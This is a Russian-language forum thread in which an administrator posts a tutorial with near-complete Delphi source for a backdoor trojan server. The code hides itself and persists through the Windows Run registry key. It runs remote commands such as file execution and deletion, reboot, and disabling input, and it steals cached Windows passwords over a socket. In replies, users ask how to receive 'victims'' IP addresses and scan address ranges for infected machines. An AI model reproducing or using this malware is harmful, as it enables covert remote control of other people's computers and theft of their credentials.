Четверг, 25.04.2024, 23:44 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx  
delphicode » Delphi » Вирусология Delphi » BackDoor на Delphi (Ознакомительная вирусология)
BackDoor на Delphi
dolphinДата: Четверг, 28.08.2008, 14:07 | Сообщение # 1
Администратор
Сообщений: 906
Статус: Offline
Сегодня мы рассмотрим пример написания простейшего BackDoor’a на Delphi.

BackDoor – это троянский конь, состоящий из клиент и сервера. Клиент посылает серверу данные, а сервер их обрабатывает и выполняет какие-то действия.

1) Для начала будет создавать сервер. Войдем в Delphi, нажимаем File -> New Application. У нас появляется пустая форма, назовем её frmsrv.

Code
program Server;

uses

Forms,

Unit1 in 'Unit1.pas' {frmsrv};

begin

Application.Initialize;

Application.CreateForm(TFrmsrv, frmsrv);

Application.ShowMainForm:=false; //чтобы главная форма не показывалась

Application.Run;

end.

Уменьшим её размер (это не обязательно) и положим на форму компонент TServerSocket из раздела Internet, назовем его SrvMain.И компонент TfileListBox из раздела Win 3.1,назовем TfileListBox1. Приступим к написанию программного кода. Создадим процедуру запуска трояна при каждой загрузке Windows и скрытия его от Alt+Ctrl+Del. Заходим в программный код, добавляем в uses модуль Registry и пишем после строки {$R *.DFM}

Code
Type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;stdcall;

Type TWNetEnumCachedPasswords = function (lp : lpStr; w : Word;b: Byte; pc : Pointer; dw : DWord) : Word;stdcall;

procedure HideACD; // Процедура для скрытия трояна от Alt+Ctrl+Del

var

hndl : thandle;

registerserviceprocess : tregisterserviceprocess;

begin

try

hndl:=loadlibrary('KERNEL32.DLL'); //Загружаем в память библиотеку

registerserviceprocess:=getprocaddress(hndl,'RegisterServiceProcess');

registerserviceprocess(getcurrentprocessid,1); //Используем функцию RegisterServiceProcess

freelibrary(hndl); // выгружаем библиотеку из памяти

except end;

end;

function WinDir: string;

var

intLen:integer;

strBuffer:string;

begin

SetLength(strBuffer,1000);

intLen:=GetWindowsDirectory(PChar(strBuffer),1000);

WinDir:=Trim(Copy(strBuffer,1,intLen));

end;

function SysDir: string; // Определение системной папки

var

intLen:integer;

strBuffer:string;

begin

SetLength(strBuffer,1000);

intLen:=GetSystemDirectory(PChar(strBuffer),1000);

SysDir:=Trim(Copy(strBuffer,1,intLen));

end;

procedure Install;

var

Reg:TRegistry;

cPath,Win:string;

begin

try

Win:=SysDir+’sys32.exe’; // Путь в системной папке

cPath:=Application.ExeName; // Путь к нашему exe-файлу

Reg:=TRegistry.Create;

Reg.RootKey:=HKEY_LOCAL_MACHINE; //пишемся в реестр

Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False); //Открвыем ключ

//автозапуска

Reg.WriteString(‘Sys32’,Win); // Пишем путь к себе

Reg.CloseKey; // Закрываем ключ

Reg.Free;

if (cPath <> Win) then // если путь запущенного файла не равен путю файл в системной папке, то

begin

if FileExists(Win) then DeleteFile(Win); // если файл существует - удалить

CopyFile(PChar(cPath),PChar(Win),False); // скопировать себя.

end;

except end; // Также по желанию можно добавить прописывание в Win.ini и System.ini

end;

Нажимаем F11, у нас появляется (если не было) Object Inspector, выбираем в списке SrvMain. Ставим порт 567 или любой другой. К этому порту будет подключаться клиент. Затем переходим на вкладку Events и 2 раза жмем мышой рядом с надписью OnClientRead. У нас открывается программный код. Вот там и пишем:

Code
procedure TFrmSrv.SrvMainClientRead(Sender: TObject; Socket: TCustomWinSocket);

var comd,param,str1,tmp: string;

i:integer;

Reg:Tregistry;

begin

str1:=socket.receivetext; // Принимаем данные от клиента

i:=pos('!?!',str1);

comd:=copy(str1,0,i-1);

param:=copy(str1,i+3,length(str1)-i);

if comd='reboot' then //если текст идущий до !?! равен reboot, то грузануть комп!

begin

ExitWindowsEx(EWX_REBOOT, 0);

Socket.SendText('tmp!?!Перезагружается...');

end;

if comd='opCD' then //открыть сидюк

begin

mciSendString(Pchar('set cdaudio door open'),nil,0,0);

Socket.SendText('tmp!?!CD-ROM открыт...');

end;

if comd='clCD'then

begin

mciSendString(Pchar('set cdaudio door closed'),nil,0,0);

Socket.SendText('tmp!?!CD-ROM закрыт...');

end;

if comd='dir'then //получить список файлов

begin

tmp:='file!?!'+ShowFile(param);

Socket.SendText(tmp);

end;

if comd='run' then //запустить файл

begin

if FileExists (param) then

begin

ShellExecute(handle,'Open',PChar(param),nil,nil,1);

Socket.SendText('tmp!?!Файл запущен...');

end

else

Socket.SendText('tmp!?!Не удалось запустить файл...');

end;

if comd='del' then //удалить файл

begin

if FileExists (param) then

begin

DeleteFile(param);

Socket.SendText('tmp!?!Файл удален...');

end

else

Socket.SendText('tmp!?!Не удалось удалить файл...');

end;

if comd='boot' then

begin

ExitWindowsEx(EWX_SHUTDOWN, 0);

Socket.SendText('tmp!?!Комп выключатеся...');

end;

if comd='getpass' then //получить кешированные пароли

begin

Socket.SendText('pass!?!'+GetPasswords);

end;

if comd='close' then // закрыть сервер

begin

Socket.SendText('tmp!?!Сервер Закрыт...');

Application.Terminate;

exit;

end;

if comd='killme' then

begin

Socket.SendText('tmp!?!Сервер удален...');

Reg:=TRegistry.Create;

Reg.RootKey:=HKEY_LOCAL_MACHINE;

Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False); //Открвыем ключ

//автозапуска

Reg.deletevalue('Sys32'); // Удаляем

Reg.Free;

Application.Terminate;

exit;

end;

if comd='dismouse' then // отключаем мышь

begin

Socket.SendText('tmp!?!Мышь отключена...');

WinExec(PChar(WinDir + '\rundll32.exe mouse,disable'),SW_SHOWNORMAL);

end;

if comd='diskey' then // отключаем клаву

begin

Socket.SendText('tmp!?!Клава отключена...');

WinExec(PChar(WinDir + '\rundll32.exe keyboard,disable'),SW_SHOWNORMAL);

end;

if comd='msg' then // выдаем месагу

begin

MessageBox(application.Handle,PChar(param),'',32);

Socket.SendText('tmp!?!Сообщение послано...');

end;

end;

В процедуре создания формы пишем:

procedure TFrmSrv.FormCreate(Sender: TObject);

begin

HideACD; // прячемся от Ctrl+Alt+Del

Install; // устанавливаемся

SrvMain.Open; // открываем порт

SrvMain.Active:=true;

end;

И функции для получения паролей и списка файлов.

function TFrmSrv.ShowFile(param:string):string;

begin

frmsrv.FB.Directory:=param;

Result:=frmsrv.fb.items.text;

end;

Получение Кешированных паролей:

var

Count:Integer;

FPasswords:string;

function AddPassword(WinPassword:PWinPassword; dw:DWord):LongBool;stdcall;

var

Password:string;

PC: array [0..$FF] of Char;

begin

Inc(Count);

Move(WinPassword.PasswordC,PC,WinPassword.ResourceSize);

PC[WinPassword.ResourceSize] := #0;

CharToOem(PC,PC);

Password:=StrPas(PC);

Move(WinPassword.PasswordC,PC,WinPassword.ResourceSize + WinPassword.PasswordSize);

Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize);

PC[WinPassword.PasswordSize]:=#0;

CharToOem(PC,PC);

Password:=Password + ': ' + StrPas(PC);

if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then

FPasswords:=FPasswords + Password + #13#10;

Result:=True;

end;

function TFrmSrv.GetPasswords:string;

var

hndl : thandle;

WNetEnumCachedPasswords : TWNetEnumCachedPasswords;

begin

try

hndl:=loadlibrary('MPR.DLL');

WNetEnumCachedPasswords:=getprocaddress(hndl,'WNetEnumCachedPasswords');

Count:=0;

FPasswords:='';

WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0);

freelibrary(hndl);

except end;

Result:=FPasswords;

end;

Все! Сервер завершен! Теперь осталось написать клиент, который к этому серверу будет присоединяться, но писать мы его не будем! Думаю и самим несложно будет это сделать.Размер сервера получлся не маленьким, но если сжать упаковщик, то будет всего 150 КБ.

 
REMiXДата: Среда, 13.01.2010, 14:30 | Сообщение # 2
Был не раз
Зарегистрирован: 11.01.2010
Группа: Пользователи
Сообщений: 22
Статус: Offline
dolphin, еслибы отсююда какнить формы вырвать, то я думаю что он бы стал поменьше весить...но как я и сам не знаю))

Начинающий программист, DELPHI user, а так же могу помочь с фотошопом.




 
dolphinДата: Среда, 13.01.2010, 14:44 | Сообщение # 3
Администратор
Сообщений: 906
Статус: Offline
REMiX, динамическое создание компонентов

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
REMiXДата: Среда, 13.01.2010, 15:13 | Сообщение # 4
Был не раз
Зарегистрирован: 11.01.2010
Группа: Пользователи
Сообщений: 22
Статус: Offline
dolphin, А можешь исходник кинуть?Сам проект...

Начинающий программист, DELPHI user, а так же могу помочь с фотошопом.




 
dolphinДата: Среда, 13.01.2010, 15:19 | Сообщение # 5
Администратор
Сообщений: 906
Статус: Offline
Не смогу я его уже найти...видимо удаил уже с компа

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
REMiXДата: Среда, 13.01.2010, 15:43 | Сообщение # 6
Был не раз
Зарегистрирован: 11.01.2010
Группа: Пользователи
Сообщений: 22
Статус: Offline
dolphin, а...жалко а то я чет TServerSocket во вкладке internet не могу найти(нашёл там TcpServer это не одно и то же?

Начинающий программист, DELPHI user, а так же могу помочь с фотошопом.




 
dolphinДата: Среда, 13.01.2010, 16:35 | Сообщение # 7
Администратор
Сообщений: 906
Статус: Offline
REMiX, TServerSocket и TClientSocket это встроеные компоненты, однако его надо добавлять на вкладку (Delphi 7)
Открываешь Delphi Дальше Component->Instal Packages->add идёшь в папку bin там есть файл dclsockets70.bpl открываешь его и компонент появляется на вкладке


Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
REMiXДата: Среда, 13.01.2010, 18:52 | Сообщение # 8
Был не раз
Зарегистрирован: 11.01.2010
Группа: Пользователи
Сообщений: 22
Статус: Offline
dolphin, Спасибо огромное!

Начинающий программист, DELPHI user, а так же могу помочь с фотошопом.




 
REMiXДата: Четверг, 14.01.2010, 19:12 | Сообщение # 9
Был не раз
Зарегистрирован: 11.01.2010
Группа: Пользователи
Сообщений: 22
Статус: Offline
dolphin, бррр... там еще функции с проседурами прописывать в описании формы, в uses еще MMsystem добовлять надо....Но статья хорошая много описаний разных функций .
Если что извини что не в тему, но все же задам не большой вопрос. А можно как-нибудь сделать чтобы ип адрес жертвы приходил на номер аське в виде сообщения.Просто в нашем регионе ип адреса динамические по этому я не могу ип адрес в серве вписать ни в клиенте, чтобы присоеденяться к жертве((Или хотябы посоветуй сканер диапазона ип адресов на открытый порт.Сканер конечно могу и сам написать но мне же надо искать диапазон ип адресов а не один ип сканить вот в этом и загвостка я не могу понять как написатть цикл который бы сканил этот диапозон например с 87.119.300.1 и по 87.119.301.255 это к примеру и данные вводились бы в компанент edit в форме...


Начинающий программист, DELPHI user, а так же могу помочь с фотошопом.






Сообщение отредактировал REMiX - Четверг, 14.01.2010, 19:36
 
dolphinДата: Воскресенье, 17.01.2010, 15:46 | Сообщение # 10
Администратор
Сообщений: 906
Статус: Offline
Динамический ip адрес сложно определить

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
REMiXДата: Понедельник, 18.01.2010, 16:12 | Сообщение # 11
Был не раз
Зарегистрирован: 11.01.2010
Группа: Пользователи
Сообщений: 22
Статус: Offline
dolphin, Кстати я догодался как сделать такой сканер...Типо токого используют в играх , там то же ищут по ипадресам...Вот я хочу написать типотакого Исходник сюда выложу)))Есличто посмотришь ладно?За оффтоп сорри)))Просто сдесь проще пока написать а когда сделаю то вынесу в отдельную тему...

Начинающий программист, DELPHI user, а так же могу помочь с фотошопом.






Сообщение отредактировал REMiX - Понедельник, 18.01.2010, 16:15
 
XSPYДата: Пятница, 29.01.2010, 00:50 | Сообщение # 12
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
Привет народ!
Я вот начал писать свой трой(учу Делфи недавно),и у меня возникли некоторые проблемы!При запуске сервака троя выбивает ошибку,а при повторном запуске сервака выбивает совершенно другую ошибку!И плюс еще к етому пишет какуюто фигню- асинхрон коннектед еррор!Че ето такое? eek oops


Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
StalkerhackДата: Воскресенье, 14.02.2010, 00:23 | Сообщение # 13
Был не раз
Зарегистрирован: 09.02.2010
Группа: Пользователи
Сообщений: 7
Статус: Offline
Обоснуй поподробнее ошибку.


 
KaiowasДата: Пятница, 17.12.2010, 03:41 | Сообщение # 14
Новичок
Зарегистрирован: 16.12.2010
Группа: Пользователи
Сообщений: 1
Статус: Offline
Quote (REMiX)
dolphin, а...жалко а то я чет TServerSocket во вкладке internet не могу найти(нашёл там TcpServer это не одно и то же?

Я еще конечно ламак в этих делах да дельфин прально описал можно так сделать но я эту тему увидел в другом месте прямо в самой форме эти 2 кнопки


Научите меня чему нибудь буду признателен.
 
EvroremontnikДата: Суббота, 21.02.2015, 03:05 | Сообщение # 15
Был не раз
Зарегистрирован: 22.04.2013
Группа: Пользователи
Сообщений: 5
Статус: Offline
Извините за глупый вопрос не где ссылка на исходник? И если её нет то надо вставить так же проще жить будет!)))
 
ms301Дата: Суббота, 21.02.2015, 13:59 | Сообщение # 16
Постоянный
Зарегистрирован: 28.11.2012
Группа: Пользователи
Сообщений: 101
Статус: Offline
Цитата Evroremontnik ()
Извините за глупый вопрос не где ссылка на исходник? И если её нет то надо вставить так же проще жить будет!)))

Зачем ссылка? код есть в первом сообшении.
 
delphicode » Delphi » Вирусология Delphi » BackDoor на Delphi (Ознакомительная вирусология)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz